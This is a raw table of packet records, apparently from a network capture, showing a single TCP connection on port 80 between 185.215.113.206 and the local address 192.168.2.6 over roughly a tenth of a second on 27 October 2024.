Oct 27, 2024 00:31:18.036089897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036107063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036124945 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036134958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036160946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036171913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036197901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036216974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036233902 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036242008 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036267996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036282063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036315918 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036319971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036354065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036367893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036387920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036401033 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036422968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036437988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036457062 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036472082 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036492109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036508083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036528111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036540985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036565065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036581993 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036602020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036613941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036638021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036652088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036674023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036688089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036709070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036722898 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036744118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036756039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036781073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036794901 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036817074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036828995 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036853075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036864996 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036889076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036901951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036926031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036937952 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036963940 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036974907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036998987 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037012100 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037034988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037046909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037070990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037081957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037106037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037116051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037142038 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037153006 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037182093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037194014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037236929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037245035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037273884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037283897 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037307978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037319899 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037343979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037358046 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037379026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037393093 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037415028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037427902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037450075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037461996 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037484884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037498951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037518978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037533045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037554026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037566900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037589073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037601948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037626028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037637949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037662983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037676096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037698030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037709951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037745953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037750959 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037786961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037797928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037821054 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037837029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037856102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037870884 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037885904 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037902117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037919998 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037933111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037956953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.037969112 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.037992001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038005114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038027048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038038969 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038062096 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038074970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038096905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038108110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038127899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038144112 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038161993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038175106 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038197994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038213015 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038232088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038243055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038275957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038284063 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038320065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038328886 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038356066 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038372993 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038389921 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038398981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038424015 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038434029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038458109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038469076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038494110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038506031 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038528919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038542032 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038563967 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038575888 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038599014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038610935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038633108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038645029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038662910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038678885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038696051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038712978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038729906 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038743019 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038764954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038778067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038800001 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038813114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038836002 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038850069 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038871050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038883924 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038906097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038918972 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038942099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038954020 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.038976908 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.038991928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039011955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039024115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039048910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039061069 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039083004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039098024 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039119005 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039129972 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039153099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039165974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039187908 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039202929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039223909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039237022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039258957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039268017 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039288044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039307117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039336920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039345026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039381027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039392948 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039414883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039429903 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039450884 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039472103 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039493084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039540052 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039589882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039592981 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039623976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039633036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039659977 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039673090 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039694071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039706945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039729118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039741039 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039762974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039774895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039798021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039810896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039833069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039845943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039866924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039880991 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039904118 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039916992 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039937973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039952040 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.039973021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.039984941 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040007114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040020943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040043116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040055990 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040076971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040090084 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040112019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040118933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040148020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040158987 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040184021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040194988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040219069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040232897 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040255070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040265083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040290117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040302038 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040335894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040465117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040498018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040518045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040528059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040550947 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040560961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040574074 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040596962 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040606022 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040632010 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040647030 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040667057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040679932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040700912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040715933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040736914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040749073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040771008 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040787935 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040808916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040819883 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040843964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040855885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040879011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040890932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040913105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040921926 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040949106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.040976048 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.040983915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.041003942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.041021109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.041069031 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.092416048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.092472076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.092504978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.092519045 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.092525959 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.092564106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.092571020 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.092606068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.092633009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.092667103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.092715979 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.092716932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.092751980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.092771053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.092801094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.149753094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.149799109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.149859905 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.149878979 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.149907112 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.149914026 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.149950981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.149956942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.149991035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150003910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150038958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150048971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150074959 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150079012 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150111914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150115013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150147915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150152922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150182009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150187969 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150218964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150222063 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150258064 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150259972 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150295019 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150299072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150329113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150333881 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150365114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150367975 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150405884 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150547981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150600910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150698900 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150752068 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150752068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150788069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150793076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150824070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150835037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150862932 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150890112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150923967 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.150930882 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150965929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.150990009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151025057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151031971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151060104 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151065111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.151097059 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.151099920 CEST	49709	80	192.168.2.6	185.215.113.206
